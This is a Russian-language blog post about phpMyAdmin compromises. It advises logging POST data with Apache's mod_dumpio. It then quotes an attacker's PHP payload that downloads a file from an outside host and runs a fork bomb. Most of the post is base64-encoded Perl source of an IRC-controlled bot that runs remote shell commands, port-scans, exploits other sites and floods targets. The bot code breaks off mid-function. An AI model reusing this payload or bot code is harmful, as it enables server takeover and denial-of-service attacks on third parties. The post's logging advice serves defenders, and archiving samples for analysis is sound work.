phpmyadmin: i’m lovin’ it

    Изначально планировалось написать развернутую заметку о вреде использования устаревшего программного обеспечения и в особенности phpmyadmin. Однако по прошествии нескольких дней по ключевым словам была найдена аналогичная статья, которая рекомендована к прочтению.

    Остановимся на отличительных особенностях. Автор использовал модифицированный скрипт php, чтобы перехватить данные POST-запроса, т.к. по умолчанию они не записываются ни в какой журнал. Однако в этом нет необходимости. В особенности, если на сервере размещается несколько проектов и каждый использует свою копию phpmyadmin или какого-либо другого уязвимого программного обеспечения, модификация каждого из них дело неблагодарное. Достаточно воспользоваться штатным модулем mod_dumpio сервера apache. Для его активации необходимо добавить директивы

LoadModule dumpio_module modules/mod_dumpio.so
DumpIOInput On
LogLevel debug

    При этом необходимо убедиться, что директива LogLevel не переопределяется в нижележащих директивах, например, в директиве VirtualHost предположительно уязвимого домена. В этом случае все данные всех POST-запросов будут записываться в соответствующие журналы ErrorLog.

    Немаловажный момент всей процедуры актуальность Вашей операционной системы и системных сервисов. Т.к. после автоматического проникновения бота вырисовывается человек и начинает перебирать различные эксплоиты с целью заполучить полный контроль над системой. Окончательно отчаявшиеся в безуспешности своих попыток, пытаются просто навредить. В частности среди возможных скриптов на выполнение проскакивают типичные fork() бомбы:

<? system("cd /tmp/ ; wget -q http://tevad.do.am/j.txt ; curl -O http://tevad.do.am/j.txt ; fetch http://tevad.do.am/j.txt ; perl -e 'fork while fork;' ; rm -rf j*");exit?>

    Т.к. с течением времени использованные при взломе ссылки становятся не доступными, позволим себе под капотом разместить в base64 формате полученные в результате анализа исходные тексты вышеописанных в статье ботов.

IyEvdXNyL2Jpbi9wZXJsCiMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gIwojICAgICAgICAgICAgICAg
ICBpbGVnYWxicmFpbiBQZXJsQm90ICAgICAgICAgICAgICAgICAgICAgICAgICMK
IyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLSAjCgpteSAkcHJvY2Vzc28gPSAnL3Vzci9zYmluL2h0dHBk
JzsKCgpteSBAdGl0aSA9ICgiaW5kZXgucGhwP3BhZ2U9IiwibWFpbi5waHA/cGFn
ZT0iKTsKCm15ICRnb25pID0gJHRpdGlbcmFuZCBzY2FsYXIgQHRpdGldOwoKbXkg
JGxpbmFzX21heD0nMyc7Cm15ICRzbGVlcD0nNyc7Cm15IEBhZG1zPSgiY2luY2ki
LCAic2FzZSIsICJzYXB0ZSIgKTsKbXkgQGhvc3RhdXRoPSgid24udXMiLCJwdWJs
aWMubkwiKTsKbXkgQGNhbmFpcz0oIiNmIik7Cm15ICRuaWNrPSdmJzsKbXkgJGly
Y25hbWUgPSdmJzsKY2hvcCAobXkgJHJlYWxuYW1lID0gYHVuYW1lIC1zcjtpZGAp
Owokc2Vydmlkb3I9J2Nyb24uaWxlZ2FsYnJhaW4uY29tJyB1bmxlc3MgJHNlcnZp
ZG9yOwpteSAkcG9ydGE9JzY2NjcnOwpteSAkVkVSU0FPID0gJzAuNSc7CiRTSUd7
J0lOVCd9ID0gJ0lHTk9SRSc7CiRTSUd7J0hVUCd9ID0gJ0lHTk9SRSc7CiRTSUd7
J1RFUk0nfSA9ICdJR05PUkUnOwokU0lHeydDSExEJ30gPSAnSUdOT1JFJzsKJFNJ
R3snUFMnfSA9ICdJR05PUkUnOwp1c2UgSU86OlNvY2tldDsKdXNlIFNvY2tldDsK
dXNlIElPOjpTZWxlY3Q7CmNoZGlyKCIvdG1wIik7CiRzZXJ2aWRvcj0iJEFSR1Zb
MF0iIGlmICRBUkdWWzBdOwokMD0iJHByb2Nlc3NvIi4iXDAieDE2OzsKbXkgJHBp
ZD1mb3JrOwpleGl0IGlmICRwaWQ7CmRpZSAiUHJvYmxlbWEgY29tIG8gZm9yazog
JCEiIHVubGVzcyBkZWZpbmVkKCRwaWQpOwoKb3VyICVpcmNfc2VydmVyczsKb3Vy
ICVEQ0M7Cm15ICRkY2Nfc2VsID0gbmV3IElPOjpTZWxlY3QtPm5ldygpOwoKJHNl
bF9jbGllbnRlID0gSU86OlNlbGVjdC0+bmV3KCk7CnN1YiBzZW5kcmF3IHsKICBp
ZiAoJCNfID09ICcxJykgewogICAgbXkgJHNvY2tldCA9ICRfWzBdOwogICAgcHJp
bnQgJHNvY2tldCAiJF9bMV1cbiI7CiAgfSBlbHNlIHsKICAgICAgcHJpbnQgJElS
Q19jdXJfc29ja2V0ICIkX1swXVxuIjsKICB9Cn0KCnN1YiBjb25lY3RhciB7CiAg
IG15ICRtZXVuaWNrID0gJF9bMF07CiAgIG15ICRzZXJ2aWRvcl9jb24gPSAkX1sx
XTsKICAgbXkgJHBvcnRhX2NvbiA9ICRfWzJdOwoKICAgbXkgJElSQ19zb2NrZXQg
PSBJTzo6U29ja2V0OjpJTkVULT5uZXcoUHJvdG89PiJ0Y3AiLCBQZWVyQWRkcj0+
IiRzZXJ2aWRvcl9jb24iLCBQZWVyUG9ydD0+JHBvcnRhX2Nvbikgb3IgcmV0dXJu
KDEpOwogICBpZiAoZGVmaW5lZCgkSVJDX3NvY2tldCkpIHsKICAgICAkSVJDX2N1
cl9zb2NrZXQgPSAkSVJDX3NvY2tldDsKCiAgICAgJElSQ19zb2NrZXQtPmF1dG9m
bHVzaCgxKTsKICAgICAkc2VsX2NsaWVudGUtPmFkZCgkSVJDX3NvY2tldCk7Cgog
ICAgICRpcmNfc2VydmVyc3skSVJDX2N1cl9zb2NrZXR9eydob3N0J30gPSAiJHNl
cnZpZG9yX2NvbiI7CiAgICAgJGlyY19zZXJ2ZXJzeyRJUkNfY3VyX3NvY2tldH17
J3BvcnRhJ30gPSAiJHBvcnRhX2NvbiI7CiAgICAgJGlyY19zZXJ2ZXJzeyRJUkNf
Y3VyX3NvY2tldH17J25pY2snfSA9ICRtZXVuaWNrOwogICAgICRpcmNfc2VydmVy
c3skSVJDX2N1cl9zb2NrZXR9eydtZXVpcCd9ID0gJElSQ19zb2NrZXQtPnNvY2to
b3N0OwogICAgIG5pY2soIiRtZXVuaWNrIik7CiAgICAgc2VuZHJhdygiVVNFUiAk
aXJjbmFtZSAiLiRJUkNfc29ja2V0LT5zb2NraG9zdC4iICRzZXJ2aWRvcl9jb24g
OiRyZWFsbmFtZSIpOwogICAgIHNsZWVwIDE7CiAgIH0KfQpteSAkbGluZV90ZW1w
Owp3aGlsZSggMSApIHsKICAgd2hpbGUgKCEoa2V5cyglaXJjX3NlcnZlcnMpKSkg
eyBjb25lY3RhcigiJG5pY2siLCAiJHNlcnZpZG9yIiwgIiRwb3J0YSIpOyB9CiAg
IGRlbGV0ZSgkaXJjX3NlcnZlcnN7Jyd9KSBpZiAoZGVmaW5lZCgkaXJjX3NlcnZl
cnN7Jyd9KSk7CiAgIG15IEByZWFkeSA9ICRzZWxfY2xpZW50ZS0+Y2FuX3JlYWQo
MCk7CiAgIG5leHQgdW5sZXNzKEByZWFkeSk7CiAgIGZvcmVhY2ggJGZoIChAcmVh
ZHkpIHsKICAgICAkSVJDX2N1cl9zb2NrZXQgPSAkZmg7CiAgICAgJG1ldW5pY2sg
PSAkaXJjX3NlcnZlcnN7JElSQ19jdXJfc29ja2V0fXsnbmljayd9OwogICAgICRu
cmVhZCA9IHN5c3JlYWQoJGZoLCAkbXNnLCA0MDk2KTsKICAgICBpZiAoJG5yZWFk
ID09IDApIHsKICAgICAgICAkc2VsX2NsaWVudGUtPnJlbW92ZSgkZmgpOwogICAg
ICAgICRmaC0+Y2xvc2U7CiAgICAgICAgZGVsZXRlKCRpcmNfc2VydmVyc3skZmh9
KTsKICAgICB9CiAgICAgQGxpbmVzID0gc3BsaXQgKC9cbi8sICRtc2cpOwoKICAg
ICBmb3IobXkgJGM9MDsgJGM8PSAkI2xpbmVzOyAkYysrKSB7CiAgICAgICAkbGlu
ZSA9ICRsaW5lc1skY107CiAgICAgICAkbGluZT0kbGluZV90ZW1wLiRsaW5lIGlm
ICgkbGluZV90ZW1wKTsKICAgICAgICRsaW5lX3RlbXA9Jyc7CiAgICAgICAkbGlu
ZSA9fiBzL1xyJC8vOwogICAgICAgdW5sZXNzICgkYyA9PSAkI2xpbmVzKSB7CiAg
ICAgICAgIHBhcnNlKCIkbGluZSIpOwogICAgICAgfSBlbHNlIHsKICAgICAgICAg
ICBpZiAoJCNsaW5lcyA9PSAwKSB7CiAgICAgICAgICAgICBwYXJzZSgiJGxpbmUi
KTsKICAgICAgICAgICB9IGVsc2lmICgkbGluZXNbJGNdID1+IC9cciQvKSB7CiAg
ICAgICAgICAgICAgIHBhcnNlKCIkbGluZSIpOwogICAgICAgICAgIH0gZWxzaWYg
KCRsaW5lID1+IC9eKFxTKykgTk9USUNFIEFVVEggOlwqXCpcKi8pIHsKICAgICAg
ICAgICAgICAgcGFyc2UoIiRsaW5lIik7CiAgICAgICAgICAgfSBlbHNlIHsKICAg
ICAgICAgICAgICAgJGxpbmVfdGVtcCA9ICRsaW5lOwogICAgICAgICAgIH0KICAg
ICAgIH0KICAgICAgfQogICB9Cn0KIApzdWIgcGFyc2UgewogICBteSAkc2VydmFy
ZyA9IHNoaWZ0OwogICBpZiAoJHNlcnZhcmcgPX4gL15QSU5HIFw6KC4qKS8pIHsK
ICAgICBzZW5kcmF3KCJQT05HIDokMSIpOwogICB9IGVsc2lmICgkc2VydmFyZyA9
fiAvXlw6KC4rPylcISguKz8pXEAoLis/KSBQUklWTVNHICguKz8pIFw6KC4rKS8p
IHsKICAgICAgIG15ICRwbj0kMTsgbXkgJGhvc3RtYXNrPSAkMzsgbXkgJG9uZGUg
PSAkNDsgbXkgJGFyZ3MgPSAkNTsKICAgICAgIGlmICgkYXJncyA9fiAvXlwwMDFW
RVJTSU9OXDAwMSQvKSB7CiAgICAgICAgIG5vdGljZSgiJHBuIiwgIlwwMDFWRVJT
SU9OIG1JUkMgdjYuMTYgS2hhbGVkIE1hcmRhbS1CZXlcMDAxIik7CiAgICAgICB9
CiAgICAgICBpZiAoZ3JlcCB7JF8gPX4gL15cUSRob3N0bWFza1xFJC9pIH0gQGhv
c3RhdXRoKSB7CiAgICAgICBpZiAoZ3JlcCB7JF8gPX4gL15cUSRwblxFJC9pIH0g
QGFkbXMpIHsKICAgICAgICAgaWYgKCRvbmRlIGVxICIkbWV1bmljayIpewogICAg
ICAgICAgIHNoZWxsKCIkcG4iLCAiJGFyZ3MiKTsKICAgICAgICAgfQogICAgICAg
ICBpZiAoJGFyZ3MgPX4gL14oXFEkbWV1bmlja1xFfFwhc2F5KVxzKyguKikvICkg
ewogICAgICAgICAgICBteSAkbmF0cml4ID0gJDE7CiAgICAgICAgICAgIG15ICRh
cmcgPSAkMjsKICAgICAgICAgICAgaWYgKCRhcmcgPX4gL15cISguKikvKSB7CiAg
ICAgICAgICAgICAgaXJjYXNlKCIkcG4iLCIkb25kZSIsIiQxIikgdW5sZXNzICgk
bmF0cml4IGVxICIhYm90IiBhbmQgJGFyZyA9fiAvXlwhbmljay8pOwogICAgICAg
ICAgICB9IGVsc2lmICgkYXJnID1+IC9eXEAoLiopLykgewogICAgICAgICAgICAg
ICAgJG9uZGVwID0gJG9uZGU7CiAgICAgICAgICAgICAgICAkb25kZXAgPSAkcG4g
aWYgJG9uZGUgZXEgJG1ldW5pY2s7CiAgICAgICAgICAgICAgICBiZnVuYygiJG9u
ZGVwIiwiJDEiKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAg
IHNoZWxsKCIkb25kZSIsICIkYXJnIik7CiAgICAgICAgICAgIH0KICAgICAgICAg
fSAKICAgICAgIH0KCX0KICAgfSBlbHNpZiAoJHNlcnZhcmcgPX4gL15cOiguKz8p
XCEoLis/KVxAKC4rPylccytOSUNLXHMrXDooXFMrKS9pKSB7CiAgICAgICBpZiAo
bGMoJDEpIGVxIGxjKCRtZXVuaWNrKSkgewogICAgICAgICAkbWV1bmljaz0kNDsg
CiAgICAgICAgICRpcmNfc2VydmVyc3skSVJDX2N1cl9zb2NrZXR9eyduaWNrJ30g
PSAkbWV1bmljazsKICAgICAgIH0KICAgfSBlbHNpZiAoJHNlcnZhcmcgPX4gbS9e
XDooLis/KVxzKzQzMy9pKSB7CiAgICAgICBuaWNrKCIkbWV1bmlja3wiLmludCBy
YW5kKDk5OTk5OSkpOwogICB9IGVsc2lmICgkc2VydmFyZyA9fiBtL15cOiguKz8p
XHMrMDAxXHMrKFxTKylccy9pKSB7CiAgICAgICAkbWV1bmljayA9ICQyOwogICAg
ICAgJGlyY19zZXJ2ZXJzeyRJUkNfY3VyX3NvY2tldH17J25pY2snfSA9ICRtZXVu
aWNrOwogICAgICAgJGlyY19zZXJ2ZXJzeyRJUkNfY3VyX3NvY2tldH17J25vbWUn
fSA9ICIkMSI7CiAgICAgICBmb3JlYWNoIG15ICRjYW5hbCAoQGNhbmFpcykgewog
ICAgICAgICBzZW5kcmF3KCJKT0lOICRjYW5hbCBkZG9zaXQiKTsKICAgICAgIH0K
ICAgfQp9CgoKc3ViIGJmdW5jIHsKICBteSAkcHJpbnRsID0gJF9bMF07CiAgbXkg
JGZ1bmNhcmcgPSAkX1sxXTsKICBpZiAobXkgJHBpZCA9IGZvcmspIHsKICAgICB3
YWl0cGlkKCRwaWQsIDApOwogIH0gZWxzZSB7CiAgICAgIGlmIChmb3JrKSB7CiAg
ICAgICAgIGV4aXQ7CiAgICAgICB9IGVsc2UgewogICAgICAgICAgIGlmICgkZnVu
Y2FyZyA9fiAvXnBvcnRzY2FuICguKikvKSB7CiAgICAgICAgICAgICBteSAkaG9z
dGlwPSIkMSI7CiAgICAgICAgICAgICBteSBAcG9ydGFzPSgiMjEiLCIyMiIsIjIz
IiwiMjUiLCI4MCIsIjExMyIsIjEzNSIsIjQ0NSIsIjEwMjUiLCI1MDAwIiwiNjY2
MCIsIjY2NjEiLCI2NjYyIiwiNjY2MyIsIjY2NjUiLCI2NjY2IiwiNjY2NyIsIjY2
NjgiLCI2NjY5IiwiNzAwMCIsIjgwODAiLCI4MDE4Iik7CiAgICAgICAgICAgICBt
eSAoQGFiZXJ0YSwgJXBvcnRhX2Jhbm5lcik7CgkgICAgIHNlbmRyYXcoJElSQ19j
dXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDpcMDAyW1NDQU5dXDAwMiBTY2Fu
bmluZyAiLiQxLiIgZm9yIG9wZW4gcG9ydHMuIik7ICAgICAKICAgICAgICAgICAg
IGZvcmVhY2ggbXkgJHBvcnRhIChAcG9ydGFzKSAgewogICAgICAgICAgICAgICAg
bXkgJHNjYW5zb2NrID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KFBlZXJBZGRyID0+
ICRob3N0aXAsIFBlZXJQb3J0ID0+ICRwb3J0YSwgUHJvdG8gPT4gJ3RjcCcsIFRp
bWVvdXQgPT4gNCk7CiAgICAgICAgICAgICAgICBpZiAoJHNjYW5zb2NrKSB7CiAg
ICAgICAgICAgICAgICAgICBwdXNoIChAYWJlcnRhLCAkcG9ydGEpOwogICAgICAg
ICAgICAgICAgICAgJHNjYW5zb2NrLT5jbG9zZTsKICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICBpZiAoQGFiZXJ0YSkgewogICAg
ICAgICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHBy
aW50bCA6XDAwMltTQ0FOXVwwMDIgT3BlbiBwb3J0KHMpOiBAYWJlcnRhIik7CiAg
ICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICBzZW5kcmF3KCRJUkNf
Y3VyX3NvY2tldCwiUFJJVk1TRyAkcHJpbnRsIDpcMDAyW1NDQU5dXDAwMiBObyBv
cGVuIHBvcnRzIGZvdW5kIik7IAogICAgICAgICAgICAgfQogICAgICAgICAgIH0K
ICAgICAgICAgICBpZiAoJGZ1bmNhcmcgPX4gL150Y3BmbG9vZFxzKyguKilccyso
XGQrKVxzKyhcZCspLykgewoJICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwg
IlBSSVZNU0cgJHByaW50bCA6XDAwMltUQ1BdXDAwMiBBdHRhY2tpbmcgIi4kMS4i
OiIuJDIuIiBmb3IgIi4kMy4iIHNlY29uZHMuIik7CgkgICAgIG15ICRpdGltZSA9
IHRpbWU7CgkgICAgIG15ICgkY3VyX3RpbWUpOwogICAgICAgICAgICAgJGN1cl90
aW1lID0gdGltZSAtICRpdGltZTsKCSAgICAgd2hpbGUgKCQzPiRjdXJfdGltZSl7
CiAgICAgICAgICAgICAkY3VyX3RpbWUgPSB0aW1lIC0gJGl0aW1lOwoJICAgICAm
dGNwZmxvb2RlcigiJDEiLCIkMiIsIiQzIik7CiAgICAgICAgICAgICB9CgkgICAg
IHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDpcMDAy
W1RDUF1cMDAyIEF0dGFjayBkb25lICIuJDEuIjoiLiQyLiIuIik7CiAgICAgICAg
ICAgfQoJICAgaWYgKCRmdW5jYXJnID1+IC9edmVyc2lvbi8pIHsKCQlzZW5kcmF3
KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6XDAwMltWRVJTSU9O
XVwwMDIgcGVybGIwdCB2ZXIgIi4kVkVSU0FPKTsJCSAgIAoJCX0KICAgICAgICAg
ICBpZiAoJGZ1bmNhcmcgPX4gL15nb29nbGVccysoXGQrKVxzKyguKikvKSB7Cgkg
ICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDpc
MDAyW0dPT0dMRV1cMDAyIFNjYW5uaW5nIGZvciB1bnBhdGNoZWQgbWFtYm8gZm9y
ICIuJDEuIiBzZWNvbmRzLiIpOwoJICAgICBzcmFuZDsKCSAgICAgbXkgJGl0aW1l
ID0gdGltZTsKCSAgICAgbXkgKCRjdXJfdGltZSk7CgkgICAgIG15ICgkZXhwbG9p
dGVkKTsKCSAgICAgJGJvdHVybD0kMjsKICAgICAgICAgICAgICRjdXJfdGltZSA9
IHRpbWUgLSAkaXRpbWU7JGV4cGxvaXRlZCA9IDA7CgkJd2hpbGUoJDE+JGN1cl90
aW1lKXsKCQkgICAgJGN1cl90aW1lID0gdGltZSAtICRpdGltZTsKCQkgICAgQHVy
bHM9ZmV0Y2goKTsKCQkJZm9yZWFjaCAkdXJsIChAdXJscykgewoJCQkkY3VyX3Rp
bWUgPSB0aW1lIC0gJGl0aW1lOwoJCQlteSAkcGF0aCA9ICIiO215ICRmaWxlID0g
IiI7KCRwYXRoLCAkZmlsZSkgPSAkdXJsID1+IC9eKC4rKVwvKC4rKSQvOwoKCQkJ
JHVybCA9JHBhdGguIi8kZ29uaSRib3R1cmwiIDsKCgoKCgkJCSRwYWdlID0gaHR0
cF9xdWVyeSgkdXJsKTsKCQkJJGV4cGxvaXRlZCA9ICRleHBsb2l0ZWQgKyAxOwoJ
CSAgICB9CgkJfQoJICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZN
U0cgJHByaW50bCA6XDAwMltHT09HTEVdXDAwMiBFeHBsb2l0ZWQgIi4kZXhwbG9p
dGVkLiIgYm94ZXMgaW4gIi4kMS4iIHNlY29uZHMuIik7CiAgICAgICAgICAgfQog
ICAgICAgICAgIGlmICgkZnVuY2FyZyA9fiAvXmh0dHBmbG9vZFxzKyguKilccyso
XGQrKS8pIHsKCSAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNH
ICRwcmludGwgOlwwMDJbSFRUUF1cMDAyIEF0dGFja2luZyAiLiQxLiI6ODAgZm9y
ICIuJDIuIiBzZWNvbmRzLiIpOwoJICAgICBteSAkaXRpbWUgPSB0aW1lOwoJICAg
ICBteSAoJGN1cl90aW1lKTsKICAgICAgICAgICAgICRjdXJfdGltZSA9IHRpbWUg
LSAkaXRpbWU7CgkgICAgIHdoaWxlICgkMj4kY3VyX3RpbWUpewogICAgICAgICAg
ICAgJGN1cl90aW1lID0gdGltZSAtICRpdGltZTsKCSAgICAgbXkgJHNvY2tldCA9
IElPOjpTb2NrZXQ6OklORVQtPm5ldyhwcm90bz0+J3RjcCcsIFBlZXJBZGRyPT4k
MSwgUGVlclBvcnQ9PjgwKTsKICAgICAgICAgICAgIHByaW50ICRzb2NrZXQgIkdF
VCAvIEhUVFAvMS4xXHJcbkFjY2VwdDogKi8qXHJcbkhvc3Q6ICIuJDEuIlxyXG5D
b25uZWN0aW9uOiBLZWVwLUFsaXZlXHJcblxyXG4iOwoJICAgICBjbG9zZSgkc29j
a2V0KTsKICAgICAgICAgICAgIH0KCSAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2Nr
ZXQsICJQUklWTVNHICRwcmludGwgOlwwMDJbSFRUUF1cMDAyIEF0dGFja2luZyBk
b25lICIuJDEuIi4iKTsKICAgICAgICAgICB9CiAgICAgICAgICAgaWYgKCRmdW5j
YXJnID1+IC9edWRwZmxvb2RccysoLiopXHMrKFxkKylccysoXGQrKS8pIHsKICAg
ICAgICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJp
bnRsIDpcMDAyW1VEUF1cMDAyIEF0dGFja2luZyAiLiQxLiIgd2l0aCAiLiQyLiIg
S2IgcGFja2V0cyBmb3IgIi4kMy4iIHNlY29uZHMuIik7CiAgICAgICAgICAgICBt
eSAoJGR0aW1lLCAlcGFjb3RlcykgPSB1ZHBmbG9vZGVyKCIkMSIsICIkMiIsICIk
MyIpOwogICAgICAgICAgICAgJGR0aW1lID0gMSBpZiAkZHRpbWUgPT0gMDsKICAg
ICAgICAgICAgIG15ICVieXRlczsKICAgICAgICAgICAgICRieXRlc3tpZ21wfSA9
ICQyICogJHBhY290ZXN7aWdtcH07CiAgICAgICAgICAgICAkYnl0ZXN7aWNtcH0g
PSAkMiAqICRwYWNvdGVze2ljbXB9OwogICAgICAgICAgICAgJGJ5dGVze299ID0g
JDIgKiAkcGFjb3Rlc3tvfTsKICAgICAgICAgICAgICRieXRlc3t1ZHB9ID0gJDIg
KiAkcGFjb3Rlc3t1ZHB9OwogICAgICAgICAgICAgJGJ5dGVze3RjcH0gPSAkMiAq
ICRwYWNvdGVze3RjcH07CiAgICAgICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3Nv
Y2tldCwgIlBSSVZNU0cgJHByaW50bCA6XDAwMltVRFBdXDAwMiBTZW50ICIuaW50
KCgkYnl0ZXN7aWNtcH0rJGJ5dGVze2lnbXB9KyRieXRlc3t1ZHB9ICsgJGJ5dGVz
e299KS8xMDI0KS4iIEtiIGluICIuJGR0aW1lLiIgc2Vjb25kcyB0byAiLiQxLiIu
Iik7CiAgICAgICAgICAgfQogICAgICAgICAgIGV4aXQ7CiAgICAgICB9CiAgfQp9
CiAKc3ViIGlyY2FzZSB7CiAgbXkgKCRrZW0sICRwcmludGwsICRjYXNlKSA9IEBf
OwoKICBpZiAoJGNhc2UgPX4gL15qb2luICguKikvKSB7CiAgICAgaigiJDEiKTsK
ICAgfSAKCmlmICgkY2FzZSA9fiAvXnJlZnJlc2ggKC4qKS8pIHsKbXkgJGdvbmkg
PSAkdGl0aVtyYW5kIHNjYWxhciBAdGl0aV07CiB9CgogICBpZiAoJGNhc2UgPX4g
L15wYXJ0ICguKikvKSB7CiAgICAgIHAoIiQxIik7CiAgIH0KICAgaWYgKCRjYXNl
ID1+IC9ecmVqb2luXHMrKC4qKS8pIHsKICAgICAgbXkgJGNoYW4gPSAkMTsKICAg
ICAgaWYgKCRjaGFuID1+IC9eKFxkKykgKC4qKS8pIHsKICAgICAgICBmb3IgKG15
ICRjYSA9IDE7ICRjYSA8PSAkMTsgJGNhKysgKSB7CiAgICAgICAgICBwKCIkMiIp
OwogICAgICAgICAgaigiJDIiKTsKICAgICAgICB9CiAgICAgIH0gZWxzZSB7CiAg
ICAgICAgICBwKCIkY2hhbiIpOwogICAgICAgICAgaigiJGNoYW4iKTsKICAgICAg
fQogICB9CiAgIGlmICgkY2FzZSA9fiAvXm9wLykgewogICAgICBvcCgiJHByaW50
bCIsICIka2VtIikgaWYgJGNhc2UgZXEgIm9wIjsKICAgICAgbXkgJG9hcmcgPSBz
dWJzdHIoJGNhc2UsIDMpOwogICAgICBvcCgiJDEiLCAiJDIiKSBpZiAoJG9hcmcg
PX4gLyhcUyspXHMrKFxTKykvKTsKICAgfQogICBpZiAoJGNhc2UgPX4gL15kZW9w
LykgewogICAgICBkZW9wKCIkcHJpbnRsIiwgIiRrZW0iKSBpZiAkY2FzZSBlcSAi
ZGVvcCI7CiAgICAgIG15ICRvYXJnID0gc3Vic3RyKCRjYXNlLCA1KTsKICAgICAg
ZGVvcCgiJDEiLCAiJDIiKSBpZiAoJG9hcmcgPX4gLyhcUyspXHMrKFxTKykvKTsK
ICAgfQogICBpZiAoJGNhc2UgPX4gL15tc2dccysoXFMrKSAoLiopLykgewogICAg
ICBtc2coIiQxIiwgIiQyIik7CiAgIH0KICAgaWYgKCRjYXNlID1+IC9eZmxvb2Rc
cysoXGQrKVxzKyhcUyspICguKikvKSB7CiAgICAgIGZvciAobXkgJGNmID0gMTsg
JGNmIDw9ICQxOyAkY2YrKykgewogICAgICAgIG1zZygiJDIiLCAiJDMiKTsKICAg
ICAgfQogICB9CiAgIGlmICgkY2FzZSA9fiAvXmN0Y3BccysoXFMrKSAoLiopLykg
ewogICAgICBjdGNwKCIkMSIsICIkMiIpOwogICB9CiAgIGlmICgkY2FzZSA9fiAv
XmN0Y3BmbG9vZFxzKyhcZCspXHMrKFxTKykgKC4qKS8pIHsKICAgICAgZm9yICht
eSAkY2YgPSAxOyAkY2YgPD0gJDE7ICRjZisrKSB7CiAgICAgICAgY3RjcCgiJDIi
LCAiJDMiKTsKICAgICAgfQogICB9CiAgIGlmICgkY2FzZSA9fiAvXm5pY2sgKC4q
KS8pIHsKICAgICAgbmljaygiJDEiKTsKICAgfQogICBpZiAoJGNhc2UgPX4gL15j
b25uZWN0XHMrKFxTKylccysoXFMrKS8pIHsKICAgICAgIGNvbmVjdGFyKCIkMiIs
ICIkMSIsIDY2NjcpOwogICB9CiAgIGlmICgkY2FzZSA9fiAvXnJhdyAoLiopLykg
ewogICAgICBzZW5kcmF3KCIkMSIpOwogICB9CiAgIGlmICgkY2FzZSA9fiAvXmV2
YWwgKC4qKS8pIHsKICAgICBldmFsICIkMSI7CiAgIH0KfQoKc3ViIHNoZWxsIHsK
ICBteSAkcHJpbnRsPSRfWzBdOwogIG15ICRjb21hbmRvPSRfWzFdOwogIGlmICgk
Y29tYW5kbyA9fiAvY2QgKC4qKS8pIHsKICAgIGNoZGlyKCIkMSIpIHx8IG1zZygi
JHByaW50bCIsICJObyBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5Iik7CiAgICByZXR1
cm47CiAgfSAKICBlbHNpZiAoJHBpZCA9IGZvcmspIHsKICAgICB3YWl0cGlkKCRw
aWQsIDApOwogIH0gZWxzZSB7CiAgICAgIGlmIChmb3JrKSB7CiAgICAgICAgIGV4
aXQ7CiAgICAgICB9IGVsc2UgewogICAgICAgICAgIG15IEByZXNwPWAkY29tYW5k
byAyPiYxIDM+JjFgOwogICAgICAgICAgIG15ICRjPTA7CiAgICAgICAgICAgZm9y
ZWFjaCBteSAkbGluaGEgKEByZXNwKSB7CiAgICAgICAgICAgICAkYysrOwogICAg
ICAgICAgICAgY2hvcCAkbGluaGE7CiAgICAgICAgICAgICBzZW5kcmF3KCRJUkNf
Y3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6JGxpbmhhIik7CiAgICAgICAg
ICAgICBpZiAoJGMgPT0gIiRsaW5hc19tYXgiKSB7CiAgICAgICAgICAgICAgICRj
PTA7CiAgICAgICAgICAgICAgIHNsZWVwICRzbGVlcDsKICAgICAgICAgICAgIH0K
ICAgICAgICAgICB9CiAgICAgICAgICAgZXhpdDsKICAgICAgIH0KICB9Cn0KCnN1
YiB0Y3BmbG9vZGVyIHsKIG15ICRpdGltZSA9IHRpbWU7CiBteSAoJGN1cl90aW1l
KTsKIG15ICgkaWEsJHBhLCRwcm90bywkaiwkbCwkdCk7CiAkaWE9aW5ldF9hdG9u
KCRfWzBdKTsKICRwYT1zb2NrYWRkcl9pbigkX1sxXSwkaWEpOwogJGZ0aW1lPSRf
WzJdOwogJHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTsKICRqPTA7JGw9MDsK
ICRjdXJfdGltZSA9IHRpbWUgLSAkaXRpbWU7CiB3aGlsZSAoJGw8MTAwMCl7CiAg
JGN1cl90aW1lID0gdGltZSAtICRpdGltZTsKICBsYXN0IGlmICRjdXJfdGltZSA+
PSAkZnRpbWU7CiAgJHQ9IlNPQ0skbCI7CiAgc29ja2V0KCR0LFBGX0lORVQsU09D
S19TVFJFQU0sJHByb3RvKTsKICBjb25uZWN0KCR0LCRwYSl8fCRqLS07CiAgJGor
KzskbCsrOwogfQogJGw9MDsKIHdoaWxlICgkbDwxMDAwKXsKICAkY3VyX3RpbWUg
PSB0aW1lIC0gJGl0aW1lOwogIGxhc3QgaWYgJGN1cl90aW1lID49ICRmdGltZTsK
ICAkdD0iU09DSyRsIjsKICBzaHV0ZG93bigkdCwyKTsKICAkbCsrOwogfQp9Cgpz
dWIgdWRwZmxvb2RlciB7CiAgbXkgJGlhZGRyID0gaW5ldF9hdG9uKCRfWzBdKTsK
